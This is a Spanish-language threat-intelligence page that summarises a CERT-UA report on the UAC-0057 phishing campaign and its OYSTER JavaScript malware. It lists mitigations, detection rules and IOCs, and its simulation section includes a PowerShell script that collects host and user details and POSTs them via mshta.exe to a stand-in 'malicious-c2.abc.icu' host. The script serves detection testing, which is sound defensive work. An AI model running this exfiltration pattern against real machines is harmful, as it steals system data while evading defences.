UAC-0057 Actualiza Su Conjunto de Herramientas con OYSTERFRESH, OYSTERSHUCK y OYSTERBLUES
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
CERT-UA ha informado sobre una campaña de phishing dirigida a organizaciones gubernamentales ucranianas. Los correos electrónicos contienen archivos adjuntos en PDF que redirigen a los destinatarios a archivos ZIP que alojan archivos JavaScript maliciosos conocidos como OYSTERFRESH, OYSTERSHUCK y OYSTERBLUES. Una vez ejecutado, el malware recopila información del sistema y la envía a través de solicitudes HTTP POST, con la opción de recuperar un componente de Cobalt Strike en una etapa posterior. La infraestructura de soporte está oculta detrás de Cloudflare y hace un uso intensivo de .icu dominios.
Investigación
El análisis de CERT-UA identificó las muestras de JavaScript maliciosas, los métodos de decodificación en los que se basan, incluidos la inversión de cadenas, ROT13 y la decodificación de URL, y los cambios en el registro utilizados para mantener la persistencia. Los investigadores también documentaron múltiples artefactos de archivo y rutas de Windows asociadas con la cadena de infección. El análisis de red vinculó la actividad a la infraestructura de .icu alojamiento protegida por Cloudflare. El informe también señala la posible entrega posterior de un beacon de Cobalt Strike.
Mitigación
Las organizaciones deben restringir la ejecución de wscript.exe para usuarios estándar, limitar la ejecución tanto de PowerShell como de JavaScript y monitorear las claves de registro Run listadas para cambios sospechosos. Se debe utilizar el filtrado web para bloquear .icu dominios y, cuando sea apropiado, rangos de IP relacionados con Cloudflare asociados con la campaña. Los defensores también deben aplicar controles de mínimo privilegio y evitar la ejecución automática de binarios desconocidos.
Respuesta
Los equipos de seguridad deben crear detecciones para los nombres de archivo identificados, las claves de registro y el tráfico HTTP POST saliente hacia los dominios conocidos. La búsqueda también debe cubrir la posible carga útil de Cobalt Strike, incluido el DLL CSBEACON , y cualquier tarea programada denominada MicrosoftEdgeUpdateTaskMachine. Las investigaciones de endpoint deben recopilar árboles de procesos para rastrear la decodificación y ejecución de JavaScript.
graph TB %% Definiciones de clases classDef action fill:#99ccff classDef malware fill:#ff9999 classDef tool fill:#cccccc classDef process fill:#ffcc99 %% Definición de nodos action_phishing[«<b>Acción</b> – <b>T1566.001 Phishing</b><br/>Spearphishing con adjunto: envío de correo con PDF malicioso que contiene enlace a ZIP»] class action_phishing action action_user_exec[«<b>Acción</b> – <b>T1204.002 Ejecución por usuario</b><br/>La víctima abre el PDF/ZIP y ejecuta JavaScript OYSTERFRESH»] class action_user_exec action malware_oysterfresh[«<b>Malware</b> – OYSTERFRESH<br/>Archivo JavaScript entregado en ZIP, punto de entrada del ataque»] class malware_oysterfresh malware action_obfuscate[«<b>Acción</b> – <b>T1027.008 Ofuscación</b><br/>Carga útil ofuscada mediante inversión de cadenas, ROT13 y decodificación URL»] class action_obfuscate action malware_oysterblues[«<b>Malware</b> – OYSTERBLUES<br/>Escribe entradas de registro y lanza componentes de persistencia»] class malware_oysterblues malware tool_wscript[«<b>Herramienta</b> – wscript.exe<br/>Windows Script Host usado para ejecutar componentes JavaScript adicionales»] class tool_wscript tool action_proxy_exec[«<b>Acción</b> – <b>T1127 Ejecución por proxy</b><br/>Usa wscript.exe para ejecutar OYSTERSHUCK y OYSTERBLUES»] class action_proxy_exec action action_persistence[«<b>Acción</b> – <b>T1547.014 Persistencia</b><br/>Crea claves HKCU Run para ejecutar MicrosoftEdgeUpdate.exe y EdgeApp.exe al inicio de sesión»] class action_persistence action action_discovery[«<b>Acción</b> – <b>T1057 Descubrimiento de procesos</b><br/>Recopila lista de procesos, nombre del equipo, usuario, versión del SO y tiempo de arranque»] class action_discovery action process_c2[«<b>Proceso</b> – HTTP POST a servidor C2<br/>Envía información del sistema descubierta»] class process_c2 process action_embedded_payload[«<b>Acción</b> – <b>T1027.009 Payload incrustado</b><br/>Beacon de Cobalt Strike incrustado en JavaScript y ejecutado mediante eval»] class action_embedded_payload action malware_cobalt_strike[«<b>Malware</b> – Beacon de Cobalt Strike<br/>Payload malicioso incrustado»] class malware_cobalt_strike malware %% Conexiones action_phishing –>|entrega| action_user_exec action_user_exec –>|activa| malware_oysterfresh malware_oysterfresh –>|realiza| action_obfuscate action_obfuscate –>|crea| malware_oysterblues malware_oysterblues –>|usa| tool_wscript tool_wscript –>|permite| action_proxy_exec action_proxy_exec –>|ejecuta| malware_oysterblues action_proxy_exec –>|ejecuta| malware_oysterfresh action_proxy_exec –>|ejecuta| malware_cobalt_strike action_persistence –>|establece| process_c2 action_discovery –>|envía datos a| process_c2 action_embedded_payload –>|ejecuta| malware_cobalt_strike
Flujo de Ataque
Detecciones
Puntos de Persistencia Posibles [ASEPs – Hive de Software/NTUSER] (vía registry_event)
Ver
Extensión de Archivo Sospechosa Añadida a Claves de Ejecución [ASEPs] (vía registry_event)
Ver
Extracción de Archivo Directamente desde Cliente de Correo (vía process_creation)
Ver
Ejecución desde Archivo ZIP [7zip] (vía process_creation)
Ver
Ejecución desde Archivo RAR [WinRAR] (vía process_creation)
Ver
LOLBAS WScript / CScript (vía process_creation)
Ver
LOLBAS RunDLL32 (vía cmdline)
Ver
Archivos Extraídos Sospechosos de un Archivo (vía file_event)
Ver
Tarea Programada Sospechosa (vía audit)
Ver
Comando y Control Sospechoso por Solicitud DNS de Dominio de Nivel Superior Inusual (TLD) (vía dns)
Ver
IOCs (HashSha256) para detectar: Kit de herramientas actualizado UAC-0057: OYSTERFRESH, OYSTERSHUCK y OYSTERBLUES Parte 2
Ver
IOCs (HashSha256) para detectar: Kit de herramientas actualizado UAC-0057: OYSTERFRESH, OYSTERSHUCK y OYSTERBLUES Parte 1
Ver
IOCs (HashSha1) para detectar: Kit de herramientas actualizado UAC-0057: OYSTERFRESH, OYSTERSHUCK y OYSTERBLUES
Ver
IOCs (HashMd5) para detectar: Kit de herramientas actualizado UAC-0057: OYSTERFRESH, OYSTERSHUCK y OYSTERBLUES Parte 2
Ver
IOCs (HashMd5) para detectar: Kit de herramientas actualizado UAC-0057: OYSTERFRESH, OYSTERSHUCK y OYSTERBLUES Parte 1
Ver
IOCs (SourceIP) para detectar: Kit de herramientas actualizado UAC-0057: OYSTERFRESH, OYSTERSHUCK y OYSTERBLUES
Ver
IOCs (DestinationIP) para detectar: Kit de herramientas actualizado UAC-0057: OYSTERFRESH, OYSTERSHUCK y OYSTERBLUES
Ver
Detección de Exfiltración de OYSTERBLUES vía HTTP POST a Dominios .icu [Conexión de Red de Windows]
Ver
Detección de Ejecución Maliciosa de JavaScript vía wscript.exe [Creación de Proceso de Windows]
Ver
Ejecución de Simulación
Prerrequisito: El chequeo previo de telemetría y línea de base debe haber pasado.
Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y el relato reflejan directamente los TTP identificados y producen la telemetría exacta esperada por la lógica de detección.
-
Narrativa y Comandos de Ataque:
El adversario utiliza un binario firmado de Windows (mshta.exe) para ejecutar una pequeña carga útil de JavaScript que recopila información del sistema y la exfiltra mediante un HTTP POST a un dominio malicioso “*.icu” controlado por el servidor C2. Este enfoque de “living‑off‑the‑land” evita generar alertas de AV al tiempo que genera el evento de firewall exacto que la regla monitorea (POST + “.icu”). -
Script de Prueba de Regresión:
# Simulacro de exfiltración estilo OYSTERBLUES # 1. Codificar información mínima del sistema en JSON $info = @{ hostname = $env:COMPUTERNAME user = $env:USERNAME os = (Get-CimInstance -ClassName Win32_OperatingSystem).Caption } | ConvertTo-Json -Compress # 2. Escribir un archivo HTML temporal que ejecute un POST de captura de JS $htmlPath = "$env:TEMPexfil.html" $js = @" var data = '$info'; fetch('http://malicious-c2.abc.icu/collect', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: data }); "@ Set-Content -Path $htmlPath -Value "<script>$js</script>" -Encoding ASCII # 3. Ejecutar vía mshta (ejecución de proxy de binario firmado) Start-Process -FilePath "$env:SystemRootSystem32mshta.exe" -ArgumentList "`"$htmlPath`"" # 4. Dar tiempo a la solicitud para completarse y luego limpiar Start-Sleep -Seconds 5 Remove-Item -Path $htmlPath -Force -
Comandos de Limpieza:
# Asegurarse de que los procesos mshta persistentes sean terminados Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force # Remover archivos temporales residuales (si existen) $tempFiles = Get-ChildItem -Path $env:TEMP -Filter "exfil.html" foreach ($file in $tempFiles) { Remove-Item $file.FullName -Force }